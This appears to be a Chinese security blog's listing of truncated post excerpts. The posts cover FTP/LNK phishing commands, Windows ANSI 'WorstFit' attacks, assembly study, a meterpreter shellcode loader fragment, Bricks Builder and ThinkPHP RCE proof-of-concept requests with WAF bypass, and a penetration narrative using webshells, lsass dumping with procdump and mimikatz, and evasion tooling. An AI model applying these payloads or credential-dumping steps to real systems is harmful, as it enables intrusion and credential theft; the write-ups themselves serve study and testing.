卡卡罗特取西经

01 引言吾爱上看到一篇病毒分析文章，初步看了一眼像是FTP执行LNK的方式，早在2022年甚至更早就公开的技术了，好像24年HVV期间用来社工钓鱼还火过一阵，借着这个机会学习记录一下原文地址：https://www.52pojie.cn/thread-2054571-1-1.html 02 正文FTP的交互式命令行中，可以通过!的方式执行命令，如下图还有一个命令行选项-s，可以批量执行某个文件中的命令，如下图 下面是钓鱼样本中的部分命令，在注释中有详细解释 123456789101112131415161718192021222324252627282930313233343536373839404142# copy /Y 目的路径有同名文件时，不提示直接覆盖# "_\_\_\_\_\_\_\_\doc\*.*" 恶意攻击者刻意构造的多级目录，每级目录的名字都为_# >nul 正常copy一个文件，cmd会有输出，移动了哪些文件，此命令屏蔽这些输出!call ...

前言翻推特时看到Orange的一篇文章：“WorstFit: Unveiling Hidden Transformers in Windows ANSI!”，被标题吸引点进去看看，仔细研读后发现，文章展现了一个新的攻击面，漏洞很精彩。由于时间有限这里只做一个简单的学习笔记。文中甚至揭露了ElFinder在Windows下的一个后台RCE 0day（ElFinder是一款开源的基于PHP的Web文件管理系统） 原文链接：https://blog.orange.tw/posts/2025-01-worstfit-unveiling-hidden-transformers-in-windows-ansi/ 漏洞背景知识点1Windows最初用的字符集是ANSI，后来扩展到Unicode字符集，但Windows承诺永远向后兼容，所以现在仍然兼容ANSI字符集。兼容ANSI字符集的方式是，内部有一个API RtlUnicodeStringToAnsiString（或者WideCharToMultiByte）将Unicode字符转换为ANSI字符。我们都知道，Windows下的GetCurrent ...

0x01 前言DOS下16位汇编学的时候完全就是硬啃，因为和现在用到的知识几乎不沾边，Windows下32位汇编开始涉及我们用到的知识，学起来还有点动力，本篇博客简单记录下Windows下32位汇编的学习总结 我用的罗云彬老师那本“Windows环境下32位汇编语言程序设计（第二版）”，电子版位于：https://github.com/ybdt/evasion-hub/tree/master/学习资源 0x02 基本概念CPU工作模式从DOS下16位汇编到Windows下32位汇编，CPU的工作模式也从实模式变为保护模式（其实还有实模式和虚拟86模式，但本篇博客意在总结只挑重点说），这时CPU里的寄存器已经从16位变为32位，寻址空间也从之前的1MB变为4GB，并且多了两个东西，一个是内存分页机制，一个是优先级，内存分页机制可以为虚拟内存提供良好支持，后面内存管理中会提到，优先级包含4个级别，0-3级，0级就是常说的内核层ring0级，3级就是应用程序层ring3级，由于历史原因，Windows操作系统不使用1级和2级 内存管理保护模式下Windows的内存管理和实模式下DOS的内存管 ...

前言汇编语言不学总感觉差点东西，那就开整，我用的是王爽老师那本汇编语言第三版，也可以看B站上“零点Boy”老师的视频课程，参考的也是王爽老师那本汇编语言讲的 电子版：这里 本文只是简单记录下这段时间的学习感受 总结汇编语言是和操作系统强相关的低级语言，DOS下16位汇编、Windows下32位汇编、Linux下汇编可以说是“三门语言”，不像C、C++、JAVA这种高级语言，是跨平台的。王爽老师那本汇编语言讲的就是DOS下16位汇编，现在到处都是64的Windows，16位的DOS汇编属实有点过时了，但是知识都是一点点演化的，想了解汇编是怎么来的，这本书的基础部分我觉得还是有用的 16位DOS汇编寄存器是16位的，但寻址总线是20位的，所以CPU内部会有一个转换器，转换器的基本逻辑是，将两个16位寄存器（也就是两个16位二进制）经过转换变成一个20位二进制，寻址方式是 段地址:偏移地址 汇编代码之所以看起来像天书，就是因为它有很多隐藏知识，例如下述代码，ds寄存器默认被用来存放段地址，再结合偏移地址，便得到了某个字符串的起始地址，然后对字符串进行异或操作，便可以将大写变为小写，将小写 ...

前世Win32 APIWin32 API实现最简单的Shellcode Loader如下，代码中包含注释，可以看到每条语句的含义 1234567891011121314151617181920212223242526272829303132333435363738394041#include <windows.h>#include <stdio.h>// msfvenom -p windows/meterpreter/reverse_https lhost=xxx lport=xxx -f cunsigned char shellcode[] ="\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52"..."\x30\x2e\x32\x00\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";int main(){ // 分配内存 LPVOID allocatedMemory = VirtualAlloc(NUL ...

前言朋友圈看到有人转发了一篇“CVE-2024-25600：WordPress Bricks Builder RCE”，感觉挺有意思，点进去看了下，可是从头到尾看得我有点迷糊，本着打破砂锅问到底的原则，本文试图以漏洞挖掘者的视角详细分析这个漏洞，试着讲清楚漏洞真正的成因，也在分析的过程中发现一些新的小东西，比如漏洞只影响1.9.1及之上的版本，网上都在说影响版本是<=1.9.6，其实应该是1.9.1 <= affected version <= 1.9.6 这里想说句题外话，如果一篇文章看得你云里雾里，那不排除一种可能，这篇文章质量不高~ 0x01 漏洞宏观流程漏洞最终触发点是eval执行了攻击者传入的恶意代码，导致任意代码执行其中参数$php_query_raw是攻击者可控的，路由也是攻击者可控的，最后在权限校验部分仅使用nonce进行权限校验，而nonce会泄露在前端源码中，至此《危险函数 -> 用户输入 -> 对应路由 -> 权限绕过》全部满足，最终导致了前台RCE（实际的细节有些复杂…) pyload如下 123456789101112131 ...

2026.10.28更新开始下述方式可以成功迁移到VMWare Workstation中，但我在导入VMWare Fusion时遇到了问题，经过查阅及测试，还需要以下步骤 1234567# 记不清是有快照的pd虚拟机需要这样做，还是无快照的pd虚拟机也需要这样做# prl_disk_tool是parallels desktop中的命令行工具，安装后无需激活也可使用prl_disk_tool merge --hdd Win10-基础模板-0.hdd# 从hdd文件中提取出hds文件qemu-img convert -f parallels -O vmdk "Kali Linux 2025.04-0.hdd.0.{5fbaabe3-6958-40ff-92a7-860e329aab41}".hds Kali-202504.vmdk 2026.10.28更新结束前言工作需要，去现场干活但不能用自己的电脑，考虑将我平时用的虚拟机拷贝过去，但我是intel mac下使用parallels desktop虚拟化的win10，现场是windows机器，pd虚拟 ...

分享一个ThinkPHP GetShell时WAF绕过的小技巧 POC以如下POC为例 123456POST /?s=captcha&test=-1 HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36Content-Type: application/x-www-form-urlencodeds=file_put_contents('system.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert 可能绕过WAF的POC为 123456POST /?s=captcha&test=-1 HTTP/1.1Host: 127.0.0.1User-Agent: M ...

背景一个shiro命令执行并且有回显的口子，直接打各类内存马均失败，powershell一句话上线CS失败，查看进程发现有360、火绒，考虑到内存马不是我的研究方向，从文件下载方向突破 0x01 突破常规的文件下载方式bitsadmin、certutil、ftp等均被拦截，掏出储备的一个免杀的文件下载方式，可成功下载exe文件，尝试下载免杀远控并执行，发现无法执行（原因未知），改为下载魔改过的免杀冰蝎到对应的web目录下，成功连接webshell 0x02 再突破连接上webshell后，尝试执行远控仍旧失败，看来这条路行不通了，上传procdump抓取lsass的内存，想要下载到本地解密，发现不能下载（猜测可能是AV给拦截了），重新梳理下场景，想到既然是shiro的站点，那可以通过web服务下载文件，将文件移动到web目录后成功下载，随后通过mimikatz解出密码，密码真TM复杂啊，上传魔改过的免杀frp，建立隧道后，远程桌面成功连接 0x03 优化远程桌面连接后，发现屏幕字体非常非常小，应该是我本机虚拟机的分辨率太高导致的，此时可以先修改本机的屏幕分辨率，再远程桌面连接后大小刚刚 ...

0x01 前言看到一个免杀下载的方式，其中包含这样一条命令 1icacls %cd% /deny %username%:(OI)(CI)(DE,DC) 之前没接触过icacls，通过这篇笔记好好学习一下 0x02 介绍icacls：修改文件（文件夹）的权限 icacls是cacls和xcacls的增强版（但我在win10中搜索了一下，只搜到cacls，没搜到xcacls） windows中文件（文件夹）的权限分为2种：继承的权限（inherit permission）、明确设置的权限（explicit permission） 可通过执行icacls.exe %cd%来查看当前目录的权限 123456C:\Users\admin\Desktop>icacls.exe %cd%C:\Users\admin\Desktop NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F) BUILTIN\Administrators:(I)(OI)(CI)(F) DESKTOP-T86MV1G\ ...